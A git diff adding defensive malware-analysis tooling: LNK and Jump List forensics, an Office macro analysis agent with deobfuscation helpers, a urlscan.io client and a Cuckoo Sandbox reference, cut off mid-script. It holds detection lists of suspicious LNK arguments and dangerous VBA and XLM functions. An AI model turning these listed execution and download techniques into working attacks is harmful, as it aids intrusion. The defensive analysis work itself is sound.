+%APPDATA%\Microsoft\Windows\Recent\AutomaticDestinations\ +%APPDATA%\Microsoft\Windows\Recent\CustomDestinations\ +``` + +## LnkParse3 (Python) + +### Installation +```bash +pip install LnkParse3 +``` + +### Usage +```python +import LnkParse3 + +with open("shortcut.lnk", "rb") as f: + lnk = LnkParse3.lnk_file(f) + +info = lnk.get_json() +print(info["data"]["relative_path"]) +print(info["header"]["creation_time"]) +print(info["link_info"]["local_base_path"]) + +# Extra data blocks +extra = info.get("extra", {}) +tracker = extra.get("DISTRIBUTED_LINK_TRACKER_BLOCK", {}) +print(tracker.get("machine_id")) +print(tracker.get("mac_address")) +``` + +## Shell Link Binary Format (MS-SHLLINK) + +### Header Structure (76 bytes) +| Offset | Size | Field | +|--------|------|-------| +| 0 | 4 | HeaderSize (0x0000004C) | +| 4 | 16 | LinkCLSID | +| 20 | 4 | LinkFlags | +| 24 | 4 | FileAttributes | +| 28 | 8 | CreationTime (FILETIME) | +| 36 | 8 | AccessTime (FILETIME) | +| 44 | 8 | WriteTime (FILETIME) | +| 52 | 4 | FileSize | +| 56 | 4 | IconIndex | +| 60 | 4 | ShowCommand | + +### Common App IDs (Jump Lists) +| App ID | Application | +|--------|-------------| +| 1b4dd67f29cb1962 | Windows Explorer | +| 5d696d521de238c3 | Google Chrome | +| ecd21b58c2f65a4f | Firefox | +| 1bc392b8e104a00e | Remote Desktop (mstsc) | +| b8ab77100df80ab2 | Microsoft Word | +| cfb56c56fa0f0478 | PuTTY | +| b74736c2bd8cc8a5 | WinSCP | + +## Suspicious LNK Indicators +| Pattern | Concern | +|---------|---------| +| PowerShell in arguments | Script execution via shortcut | +| cmd.exe /c in target | Command execution chain | +| UNC path to IP | Network-based payload delivery | +| Base64 encoded arguments | Obfuscated commands | +| mshta/wscript target | Living-off-the-land execution | diff --git a/skills/analyzing-lnk-file-and-jump-list-artifacts/scripts/agent.py b/skills/analyzing-lnk-file-and-jump-list-artifacts/scripts/agent.py new file mode 100644 index 00000000..0768facc --- /dev/null +++ b/skills/analyzing-lnk-file-and-jump-list-artifacts/scripts/agent.py @@ -0,0 +1,296 @@ +#!/usr/bin/env python3 +"""Windows LNK file and Jump List artifact analysis agent. + +Parses Windows Shell Link (.lnk) files and Jump List artifacts to extract +file access evidence, program execution history, and user activity timelines. +Uses LnkParse3 for binary parsing and supports LECmd/JLECmd CSV output analysis. +""" + +import struct +import os +import sys +import json +import hashlib +import datetime +import re +import glob as glob_mod + +try: + import LnkParse3 + HAS_LNKPARSE = True +except ImportError: + HAS_LNKPARSE = False + + +def compute_hash(filepath): + """Compute SHA-256 hash of file.""" + sha256 = hashlib.sha256() + with open(filepath, "rb") as f: + for chunk in iter(lambda: f.read(65536), b""): + sha256.update(chunk) + return sha256.hexdigest() + + +def parse_lnk_with_lnkparse3(filepath): + """Parse LNK file using LnkParse3 library.""" + if not HAS_LNKPARSE: + return {"error": "LnkParse3 not installed. pip install LnkParse3"} + with open(filepath, "rb") as f: + lnk = LnkParse3.lnk_file(f) + info = lnk.get_json() + result = { + "target_path": info.get("data", {}).get("relative_path", ""), + "working_dir": info.get("data", {}).get("working_directory", ""), + "arguments": info.get("data", {}).get("command_line_arguments", ""), + "icon_location": info.get("data", {}).get("icon_location", ""), + "description": info.get("data", {}).get("description", ""), + } + header = info.get("header", {}) + result["creation_time"] = header.get("creation_time", "") + result["access_time"] = header.get("access_time", "") + result["write_time"] = header.get("write_time", "") + result["file_size"] = header.get("file_size", 0) + result["file_flags"] = header.get("file_attributes", "") + link_info = info.get("link_info", {}) + if link_info: + result["local_base_path"] = link_info.get("local_base_path", "") + result["volume_serial"] = link_info.get("volume_serial_number", "") + result["volume_label"] = link_info.get("volume_label", "") + result["drive_type"] = link_info.get("drive_type", "") + extra = info.get("extra", {}) + if extra: + tracker = extra.get("DISTRIBUTED_LINK_TRACKER_BLOCK", {}) + if tracker: + result["machine_id"] = tracker.get("machine_id", "") + result["mac_address"] = tracker.get("mac_address", "") + result["droid_volume_id"] = tracker.get("droid_volume_identifier", "") + result["droid_file_id"] = tracker.get("droid_file_identifier", "") + return result + + +def parse_lnk_header_raw(filepath): + """Parse LNK file header manually from raw bytes.""" + with open(filepath, "rb") as f: + data = f.read() + + if len(data) < 76: + return {"error": "File too small for LNK header"} + + # Shell Link Header (76 bytes) + header_size = struct.unpack_from(" # Analyze single LNK") + print(" python agent.py # Scan directory for LNK/JumpList") + print(f"\n LnkParse3 available: {HAS_LNKPARSE}") + sys.exit(0) + + if os.path.isfile(target) and target.lower().endswith(".lnk"): + print(f"\n[*] Analyzing: {target}") + print(f"[*] SHA-256: {compute_hash(target)}") + if HAS_LNKPARSE: + parsed = parse_lnk_with_lnkparse3(target) + else: + parsed = parse_lnk_header_raw(target) + print("\n--- LNK Properties ---") + for k, v in parsed.items(): + print(f" {k}: {v}") + suspicious = detect_suspicious_lnk(parsed) + if suspicious: + print("\n--- Suspicious Indicators ---") + for s in suspicious: + print(f" [!] {s['indicator']}") + elif os.path.isdir(target): + print(f"\n[*] Scanning directory: {target}") + lnk_results = scan_lnk_directory(target) + print(f"[*] Found {len(lnk_results)} LNK files") + for r in lnk_results[:20]: + print(f" {r['file']}: {r['parsed'].get('target_path', r['parsed'].get('local_base_path', '?'))}") + for s in r.get("suspicious", []): + print(f" [!] {s['indicator']}") + + jl_dir = os.path.join(target, "AutomaticDestinations") + if not os.path.isdir(jl_dir): + jl_dir = target + jl_results = scan_jump_lists(jl_dir) + if jl_results: + print(f"\n--- Jump Lists ({len(jl_results)}) ---") + for jl in jl_results: + print(f" {jl['app_name']:30s} [{jl['type']}] {jl['app_id']}") + + print(f"\n{json.dumps({'lnk_count': len(lnk_results) if os.path.isdir(target) else 1}, indent=2)}") diff --git a/skills/analyzing-macro-malware-in-office-documents/LICENSE b/skills/analyzing-macro-malware-in-office-documents/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/analyzing-macro-malware-in-office-documents/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/analyzing-macro-malware-in-office-documents/references/api-reference.md b/skills/analyzing-macro-malware-in-office-documents/references/api-reference.md new file mode 100644 index 00000000..e9acf6db --- /dev/null +++ b/skills/analyzing-macro-malware-in-office-documents/references/api-reference.md @@ -0,0 +1,112 @@ +# API Reference: Office Macro Malware Analysis Tools + +## olevba - VBA Macro Extraction (oletools) + +### CLI Syntax +```bash +olevba document.docm # Full analysis +olevba --decode --deobf document.docm # Decode + deobfuscate +olevba --code document.docm # Extract VBA source only +olevba --json document.docm # JSON output +olevba --reveal document.docm # Reveal hidden content +``` + +### Output Sections +| Section | Content | +|---------|---------| +| `AutoExec` | Auto-execution triggers (AutoOpen, Document_Open) | +| `Suspicious` | Dangerous functions (Shell, WScript, CreateObject) | +| `IOC` | Extracted indicators (URLs, IPs, file paths) | +| `Hex String` | Decoded hex-encoded strings | + +### Python API +```python +from oletools.olevba import VBA_Parser +vba = VBA_Parser("document.docm") +if vba.detect_vba_macros(): + for (fn, stream, vba_fn, code) in vba.extract_macros(): + print(code) + for (kw_type, keyword, desc) in vba.analyze_macros(): + print(f"{kw_type}: {keyword}") +vba.close() +``` + +## oleid - Document Capability Identification + +### CLI Syntax +```bash +oleid document.docm +``` + +### Indicators +| Indicator | Risk Values | +|-----------|-------------| +| `VBA Macros` | True/False | +| `XLM Macros` | True/False | +| `External Relationships` | True/False | +| `ObjectPool` | True/False | +| `Flash` | True/False | + +## oledump.py - OLE Stream Analysis + +### CLI Syntax +```bash +oledump.py document.docm # List streams +oledump.py -s 8 -v document.docm # Extract stream 8 +oledump.py -p plugin_vba_dco document.docm # VBA decompile +oledump.py -p plugin_msg.py document.msg # MSG file parsing +``` + +### Stream Markers +| Marker | Meaning | +|--------|---------| +| `M` | Contains VBA macros | +| `m` | Contains macro attributes | +| `O` | Contains OLE objects | + +## XLMDeobfuscator - Excel 4.0 Macros + +### CLI Syntax +```bash +xlmdeobfuscator -f document.xlsm +xlmdeobfuscator -f document.xlsm --output-format json +``` + +### Dangerous XLM Functions +| Function | Purpose | +|----------|---------| +| `EXEC()` | Execute shell command | +| `CALL()` | Call DLL function | +| `REGISTER()` | Register DLL function | +| `URLDownloadToFileA` | Download file from URL | + +## VBA Auto-Execution Triggers + +| Trigger | Application | +|---------|-------------| +| `Auto_Open` / `AutoOpen` | Word | +| `Document_Open` | Word | +| `Workbook_Open` | Excel | +| `Auto_Close` | Word | +| `AutoExec` | Word | + +## VBA Suspicious Functions + +| Function | Risk | +|----------|------| +| `Shell()` | Command execution | +| `WScript.Shell` | Windows scripting | +| `CreateObject()` | COM object instantiation | +| `URLDownloadToFile` | File download | +| `MSXML2.XMLHTTP` | HTTP requests | +| `ADODB.Stream` | Binary file writing | +| `CallByName` | Indirect method invocation | +| `Environ()` | Environment variable access | + +## ViperMonkey - VBA Emulation + +### Syntax +```bash +vmonkey document.docm +vmonkey --iocs document.docm # Extract IOCs only +``` diff --git a/skills/analyzing-macro-malware-in-office-documents/scripts/agent.py b/skills/analyzing-macro-malware-in-office-documents/scripts/agent.py new file mode 100644 index 00000000..41e495cf --- /dev/null +++ b/skills/analyzing-macro-malware-in-office-documents/scripts/agent.py @@ -0,0 +1,247 @@ +#!/usr/bin/env python3 +"""Office macro malware analysis agent using oletools for VBA extraction and deobfuscation.""" + +import re +import os +import sys +import hashlib +import subprocess +import json +import zipfile + +try: + from oletools.olevba import VBA_Parser, TYPE_OLE, TYPE_OpenXML + from oletools import oleid + HAS_OLETOOLS = True +except ImportError: + HAS_OLETOOLS = False + + +def compute_hash(filepath): + """Compute SHA-256 hash of a file.""" + sha256 = hashlib.sha256() + with open(filepath, "rb") as f: + for chunk in iter(lambda: f.read(65536), b""): + sha256.update(chunk) + return sha256.hexdigest() + + +def triage_document(filepath): + """Quick triage using oleid to identify document capabilities.""" + if not HAS_OLETOOLS: + return {"error": "oletools not installed: pip install oletools"} + oid = oleid.OleID(filepath) + indicators = oid.check() + results = {} + for indicator in indicators: + results[indicator.name] = { + "value": str(indicator.value), + "risk": indicator.risk, + "description": indicator.description, + } + return results + + +def extract_vba_macros(filepath): + """Extract VBA macro code from an Office document.""" + if not HAS_OLETOOLS: + return {"error": "oletools not installed"} + vba_parser = VBA_Parser(filepath) + macros = [] + if vba_parser.detect_vba_macros(): + for (filename, stream_path, vba_filename, vba_code) in vba_parser.extract_macros(): + macros.append({ + "filename": filename, + "stream_path": stream_path, + "vba_filename": vba_filename, + "code": vba_code, + "code_length": len(vba_code), + }) + vba_parser.close() + return macros + + +def analyze_vba_suspicious(filepath): + """Analyze VBA macros for suspicious keywords and patterns.""" + if not HAS_OLETOOLS: + return {"error": "oletools not installed"} + vba_parser = VBA_Parser(filepath) + analysis = {"auto_exec": [], "suspicious": [], "iocs": [], "hex_strings": []} + if vba_parser.detect_vba_macros(): + results = vba_parser.analyze_macros() + for (kw_type, keyword, description) in results: + entry = {"type": kw_type, "keyword": keyword, "description": description} + if kw_type == "AutoExec": + analysis["auto_exec"].append(entry) + elif kw_type == "Suspicious": + analysis["suspicious"].append(entry) + elif kw_type == "IOC": + analysis["iocs"].append(entry) + elif kw_type == "Hex String": + analysis["hex_strings"].append(entry) + vba_parser.close() + return analysis + + +def deobfuscate_chr_calls(vba_code): + """Resolve Chr() and ChrW() calls in VBA code.""" + def resolve_chr(match): + try: + return chr(int(match.group(1))) + except (ValueError, OverflowError): + return match.group(0) + code = re.sub(r'Chr\$?\((\d+)\)', resolve_chr, vba_code) + code = re.sub(r'ChrW\$?\((\d+)\)', resolve_chr, code) + return code + + +def deobfuscate_concatenation(vba_code): + """Remove string concatenation: "abc" & "def" -> "abcdef".""" + return re.sub(r'"\s*&\s*"', '', vba_code) + + +def deobfuscate_strreverse(vba_code): + """Resolve StrReverse() calls.""" + def resolve_reverse(match): + return '"' + match.group(1)[::-1] + '"' + return re.sub(r'StrReverse\("([^"]+)"\)', resolve_reverse, vba_code) + + +def deobfuscate_replace(vba_code): + """Resolve Replace() function calls.""" + def resolve_replace(match): + original = match.group(1) + find = match.group(2) + replace_with = match.group(3) + return '"' + original.replace(find, replace_with) + '"' + return re.sub(r'Replace\("([^"]+)",\s*"([^"]+)",\s*"([^"]*)"\)', + resolve_replace, vba_code) + + +def full_deobfuscation(vba_code): + """Apply all deobfuscation techniques to VBA code.""" + code = deobfuscate_chr_calls(vba_code) + code = deobfuscate_concatenation(code) + code = deobfuscate_strreverse(code) + code = deobfuscate_replace(code) + return code + + +def extract_urls_from_code(code): + """Extract URLs from deobfuscated VBA code.""" + return list(set(re.findall(r'https?://[^\s"\'<>]+', code))) + + +def check_dde(filepath): + """Check for DDE (Dynamic Data Exchange) attacks in OOXML documents.""" + findings = [] + try: + z = zipfile.ZipFile(filepath) + for name in z.namelist(): + if name.endswith(".xml") or name.endswith(".rels"): + content = z.read(name).decode("utf-8", errors="ignore") + if "DDEAUTO" in content or "DDE " in content: + dde_cmds = re.findall(r'DDEAUTO[^"]*"([^"]+)"', content) + findings.append({ + "type": "DDE", + "file": name, + "commands": dde_cmds, + }) + if "attachedTemplate" in content or "Target=" in content: + urls = re.findall(r'Target="(https?://[^"]+)"', content) + for url in urls: + findings.append({ + "type": "Remote Template", + "file": name, + "url": url, + }) + except (zipfile.BadZipFile, KeyError): + pass + return findings + + +def check_external_relationships(filepath): + """Check OOXML relationships for external references.""" + externals = [] + try: + z = zipfile.ZipFile(filepath) + for name in z.namelist(): + if ".rels" in name: + content = z.read(name).decode("utf-8", errors="ignore") + urls = re.findall(r'Target="(https?://[^"]+)"', content) + for url in urls: + externals.append({"file": name, "url": url}) + except (zipfile.BadZipFile, KeyError): + pass + return externals + + +def generate_report(filepath, triage, macros, analysis, deobfuscated_urls, dde_findings): + """Generate a comprehensive macro malware analysis report.""" + report = { + "file": filepath, + "sha256": compute_hash(filepath), + "size": os.path.getsize(filepath), + "triage": triage, + "macro_count": len(macros), + "auto_exec_triggers": [e["keyword"] for e in analysis.get("auto_exec", [])], + "suspicious_functions": [e["keyword"] for e in analysis.get("suspicious", [])], + "iocs": [e["keyword"] for e in analysis.get("iocs", [])], + "extracted_urls": deobfuscated_urls, + "dde_findings": dde_findings, + } + return report + + +if __name__ == "__main__": + print("=" * 60) + print("Office Macro Malware Analysis Agent") + print("oletools-based VBA extraction and deobfuscation") + print("=" * 60) + + target = sys.argv[1] if len(sys.argv) > 1 else None + + if target and os.path.exists(target): + print(f"\n[*] Analyzing: {target}") + print(f"[*] SHA-256: {compute_hash(target)}") + + print("\n--- Document Triage (oleid) ---") + triage = triage_document(target) + for name, info in triage.items(): + risk_tag = f" [{info['risk']}]" if info.get("risk") else "" + print(f" {name}: {info['value']}{risk_tag}") + + print("\n--- VBA Macro Extraction ---") + macros = extract_vba_macros(target) + print(f" Macro streams found: {len(macros)}") + for m in macros: + print(f" - {m['vba_filename']} ({m['code_length']} chars)") + + print("\n--- Suspicious Analysis ---") + analysis = analyze_vba_suspicious(target) + for trigger in analysis["auto_exec"]: + print(f" [!] Auto-exec: {trigger['keyword']}") + for sus in analysis["suspicious"]: + print(f" [!] Suspicious: {sus['keyword']} - {sus['description']}") + for ioc in analysis["iocs"]: + print(f" [IOC] {ioc['keyword']}") + + print("\n--- Deobfuscation ---") + all_urls = [] + for m in macros: + deobfuscated = full_deobfuscation(m["code"]) + urls = extract_urls_from_code(deobfuscated) + all_urls.extend(urls) + for url in set(all_urls): + print(f" URL: {url}") + + print("\n--- DDE / Remote Template Check ---") + dde = check_dde(target) + for d in dde: + print(f" [{d['type']}] {d.get('url', d.get('commands', ''))}") + + report = generate_report(target, triage, macros, analysis, list(set(all_urls)), dde) + print(f"\n[*] Report: {json.dumps(report, indent=2, default=str)[:500]}...") + else: + print(f"\n[DEMO] Usage: python agent.py ") + print("[*] Provide an Office document for macro analysis.") diff --git a/skills/analyzing-malicious-url-with-urlscan/LICENSE b/skills/analyzing-malicious-url-with-urlscan/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/analyzing-malicious-url-with-urlscan/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/analyzing-malicious-url-with-urlscan/references/api-reference.md b/skills/analyzing-malicious-url-with-urlscan/references/api-reference.md new file mode 100644 index 00000000..a519d497 --- /dev/null +++ b/skills/analyzing-malicious-url-with-urlscan/references/api-reference.md @@ -0,0 +1,68 @@ +# API Reference: urlscan.io URL Analysis + +## Base URL +``` +https://urlscan.io/api/v1 +``` + +## Authentication +``` +API-Key: YOUR_API_KEY +``` + +## Submit Scan +``` +POST /scan/ +``` +```json +{"url": "https://example.com", "visibility": "private"} +``` +| Field | Values | Description | +|-------|--------|-------------| +| `url` | URL string | URL to scan | +| `visibility` | public/unlisted/private | Scan visibility | + +Response: `{"uuid": "...", "result": "https://urlscan.io/result/UUID/", "api": "..."}` + +## Get Result +``` +GET /result/{uuid}/ +``` +Returns 404 while scanning, 200 when complete. + +## Search +``` +GET /search/?q=domain:example.com&size=100 +``` +Query fields: `domain:`, `ip:`, `server:`, `country:`, `filename:`, `hash:` + +## Result Structure +| Field | Description | +|-------|-------------| +| `page.url` | Final URL after redirects | +| `page.domain` | Domain name | +| `page.ip` | Resolved IP | +| `page.country` | Server country | +| `page.status` | HTTP status code | +| `page.title` | Page title | +| `page.server` | Server header | +| `page.tlsIssuer` | TLS certificate issuer | +| `verdicts.overall.malicious` | Boolean malicious verdict | +| `verdicts.overall.score` | Risk score (0-100) | +| `lists.ips` | List of contacted IPs | +| `lists.certificates` | TLS certificates observed | +| `stats.resourceStats` | Resource type statistics | + +## Screenshot +``` +GET /screenshots/{uuid}.png +``` + +## DOM Snapshot +``` +GET /dom/{uuid}/ +``` + +## Rate Limits +- Free: 100 scans/day, 1000 searches/day +- Paid: Higher limits per plan diff --git a/skills/analyzing-malicious-url-with-urlscan/scripts/agent.py b/skills/analyzing-malicious-url-with-urlscan/scripts/agent.py new file mode 100644 index 00000000..9cf760e6 --- /dev/null +++ b/skills/analyzing-malicious-url-with-urlscan/scripts/agent.py @@ -0,0 +1,170 @@ +#!/usr/bin/env python3 +"""URLScan.io Malicious URL Analysis Agent - Submits and analyzes URLs via the urlscan.io API.""" + +import json +import time +import logging +import argparse +from datetime import datetime + +import requests + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + +URLSCAN_API = "https://urlscan.io/api/v1" + + +def submit_url(url, api_key, visibility="private"): + """Submit a URL to urlscan.io for scanning.""" + headers = {"API-Key": api_key, "Content-Type": "application/json"} + payload = {"url": url, "visibility": visibility} + resp = requests.post(f"{URLSCAN_API}/scan/", headers=headers, json=payload, timeout=30) + resp.raise_for_status() + data = resp.json() + logger.info("Submitted URL: %s -> scan UUID: %s", url, data.get("uuid")) + return data + + +def get_scan_result(uuid, api_key, max_wait=120): + """Poll for scan results until complete.""" + headers = {"API-Key": api_key} + for _ in range(max_wait // 5): + try: + resp = requests.get(f"{URLSCAN_API}/result/{uuid}/", headers=headers, timeout=30) + if resp.status_code == 200: + return resp.json() + except requests.RequestException: + pass + time.sleep(5) + return None + + +def search_urlscan(query, api_key, size=100): + """Search urlscan.io for existing scans.""" + headers = {"API-Key": api_key} + params = {"q": query, "size": size} + resp = requests.get(f"{URLSCAN_API}/search/", headers=headers, params=params, timeout=30) + resp.raise_for_status() + return resp.json().get("results", []) + + +def analyze_result(result): + """Analyze urlscan.io scan result for malicious indicators.""" + findings = [] + verdicts = result.get("verdicts", {}) + overall = verdicts.get("overall", {}) + urlscan_verdict = verdicts.get("urlscan", {}) + community = verdicts.get("community", {}) + + if overall.get("malicious"): + findings.append({"type": "Malicious verdict", "severity": "critical", "source": "overall", "score": overall.get("score", 0)}) + if urlscan_verdict.get("malicious"): + findings.append({"type": "URLScan malicious", "severity": "critical", "score": urlscan_verdict.get("score", 0)}) + if community.get("score", 0) < 0: + findings.append({"type": "Negative community score", "severity": "high", "score": community.get("score")}) + + page = result.get("page", {}) + lists = result.get("lists", {}) + stats = result.get("stats", {}) + + if lists.get("ips", []): + for ip in lists["ips"]: + if ip.get("malicious"): + findings.append({"type": "Malicious IP contacted", "severity": "high", "ip": ip.get("ip"), "asn": ip.get("asn")}) + + for cert in lists.get("certificates", []): + if cert.get("validTo"): + try: + exp = datetime.fromisoformat(cert["validTo"].replace("Z", "+00:00")) + if exp < datetime.now(exp.tzinfo): + findings.append({"type": "Expired TLS certificate", "severity": "medium", "subject": cert.get("subjectName")}) + except (ValueError, TypeError): + pass + + js_count = len([r for r in stats.get("resourceStats", []) if "javascript" in r.get("type", "").lower()]) + if js_count > 20: + findings.append({"type": "High JavaScript resource count", "severity": "medium", "count": js_count}) + + redirects = stats.get("uniqCountries", 0) + if result.get("data", {}).get("requests"): + redirect_chain = [r.get("request", {}).get("redirectHasExtraInfo") for r in result["data"]["requests"][:5]] + + return { + "url": page.get("url", ""), + "domain": page.get("domain", ""), + "ip": page.get("ip", ""), + "country": page.get("country", ""), + "server": page.get("server", ""), + "status_code": page.get("status", 0), + "title": page.get("title", ""), + "mime_type": page.get("mimeType", ""), + "tls_issuer": page.get("tlsIssuer", ""), + "overall_malicious": overall.get("malicious", False), + "overall_score": overall.get("score", 0), + "findings": findings, + } + + +def bulk_analyze(urls, api_key): + """Submit and analyze multiple URLs.""" + results = [] + for url in urls: + try: + submission = submit_url(url, api_key) + uuid = submission.get("uuid") + if uuid: + result = get_scan_result(uuid, api_key) + if result: + analysis = analyze_result(result) + results.append(analysis) + else: + results.append({"url": url, "error": "Scan timeout"}) + except requests.RequestException as e: + results.append({"url": url, "error": str(e)}) + return results + + +def generate_report(analyses): + """Generate URL analysis report.""" + malicious = [a for a in analyses if a.get("overall_malicious")] + report = { + "timestamp": datetime.utcnow().isoformat(), + "urls_analyzed": len(analyses), + "malicious_count": len(malicious), + "results": analyses, + } + print(f"URLSCAN REPORT: {len(analyses)} URLs analyzed, {len(malicious)} malicious") + return report + + +def main(): + parser = argparse.ArgumentParser(description="URLScan.io Malicious URL Analysis Agent") + parser.add_argument("--api-key", required=True, help="urlscan.io API key") + parser.add_argument("--url", help="Single URL to scan") + parser.add_argument("--url-file", help="File with URLs (one per line)") + parser.add_argument("--search", help="Search query for existing scans") + parser.add_argument("--output", default="urlscan_report.json") + args = parser.parse_args() + + urls = [] + if args.url: + urls.append(args.url) + if args.url_file: + with open(args.url_file) as f: + urls.extend(line.strip() for line in f if line.strip()) + + if args.search: + results = search_urlscan(args.search, args.api_key) + analyses = [analyze_result(r) for r in results if "page" in r] + else: + analyses = bulk_analyze(urls, args.api_key) + + report = generate_report(analyses) + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + logger.info("Report saved to %s", args.output) + + +if __name__ == "__main__": + main() diff --git a/skills/analyzing-malware-behavior-with-cuckoo-sandbox/LICENSE b/skills/analyzing-malware-behavior-with-cuckoo-sandbox/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/analyzing-malware-behavior-with-cuckoo-sandbox/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/analyzing-malware-behavior-with-cuckoo-sandbox/references/api-reference.md b/skills/analyzing-malware-behavior-with-cuckoo-sandbox/references/api-reference.md new file mode 100644 index 00000000..65e3e277 --- /dev/null +++ b/skills/analyzing-malware-behavior-with-cuckoo-sandbox/references/api-reference.md @@ -0,0 +1,121 @@ +# API Reference: Cuckoo Sandbox + +## Cuckoo CLI + +### Sample Submission +```bash +cuckoo submit /path/to/sample.exe +cuckoo submit --timeout 300 /path/to/sample.exe +cuckoo submit --machine win10_x64 --package exe sample.exe +cuckoo submit --url "http://malicious-url.com" +``` + +### Status +```bash +cuckoo status +tail -f /opt/cuckoo/log/cuckoo.log +``` + +## Cuckoo REST API + +### Submit File +```bash +curl -F "file=@sample.exe" -F "timeout=300" \ + http://localhost:8090/tasks/create/file +``` +Response: `{"task_id": 1}` + +### Submit URL +```bash +curl -F "url=http://malicious.com" -F "timeout=300" \ + http://localhost:8090/tasks/create/url +``` + +### Check Task Status +```bash +curl http://localhost:8090/tasks/view/ +``` +Status values: `pending`, `running`, `completed`, `reported` + +### Get Report +```bash +curl http://localhost:8090/tasks/report/ +curl http://localhost:8090/tasks/report//json +``` + +### List Tasks +```bash +curl http://localhost:8090/tasks/list +curl http://localhost:8090/tasks/list?limit=50&offset=0 +``` + +## Report JSON Structure + +### Key Paths +| Path | Content | +|------|---------| +| `info.score` | Threat score (0-10) | +| `info.duration` | Analysis duration (seconds) | +| `behavior.processes` | Process tree with API calls | +| `behavior.summary.files` | Created/modified files | +| `behavior.summary.keys` | Modified registry keys | +| `network.dns` | DNS resolutions | +| `network.http` | HTTP requests | +| `network.tcp` | TCP connections | +| `dropped` | Dropped files with hashes | +| `signatures` | Triggered behavioral signatures | + +### Signature Severity Levels +| Level | Meaning | +|-------|---------| +| 1 | Informational | +| 2 | Low | +| 3 | Medium | +| 4 | High | +| 5 | Critical | + +## Analysis Packages + +| Package | File Type | +|---------|-----------| +| `exe` | Windows executables | +| `dll` | DLL files (uses rundll32) | +| `doc` | Word documents | +| `xls` | Excel spreadsheets | +| `pdf` | PDF documents | +| `js` | JavaScript files | +| `vbs` | VBScript files | +| `ps1` | PowerShell scripts | +| `zip` | Archives (auto-extracted) | + +## InetSim - Network Simulation + +### Syntax +```bash +inetsim --bind-address 192.168.56.1 +inetsim --report-dir /var/log/inetsim +``` + +### Simulated Services +- HTTP/HTTPS (ports 80, 443) +- DNS (port 53) +- SMTP (port 25) +- FTP (port 21) +- IRC (port 6667) + +## FakeNet-NG - Network Redirection + +### Syntax +```bash +fakenet +fakenet -c custom_config.ini +``` + +## Volatility Integration + +### Syntax +```bash +vol3 -f /opt/cuckoo/storage/analyses//memory.dmp windows.pslist +vol3 -f /opt/cuckoo/storage/analyses//memory.dmp windows.malfind +vol3 -f /opt/cuckoo/storage/analyses//memory.dmp windows.netscan +``` diff --git a/skills/analyzing-malware-behavior-with-cuckoo-sandbox/scripts/agent.py b/skills/analyzing-malware-behavior-with-cuckoo-sandbox/scripts/agent.py new file mode 100644 index 00000000..90ed4390 --- /dev/null +++ b/skills/analyzing-malware-behavior-with-cuckoo-sandbox/scripts/agent.py @@ -0,0 +1,255 @@ +#!/usr/bin/env python3 +"""Cuckoo Sandbox behavioral analysis agent for automated malware detonation and reporting.""" + +import json +import os +import sys +import subprocess +import hashlib +import datetime + +try: + import requests + HAS_REQUESTS = True +except ImportError: + HAS_REQUESTS = False + + +CUCKOO_API = os.environ.get("CUCKOO_API", "http://localhost:8090") +CUCKOO_STORAGE = os.environ.get("CUCKOO_STORAGE", 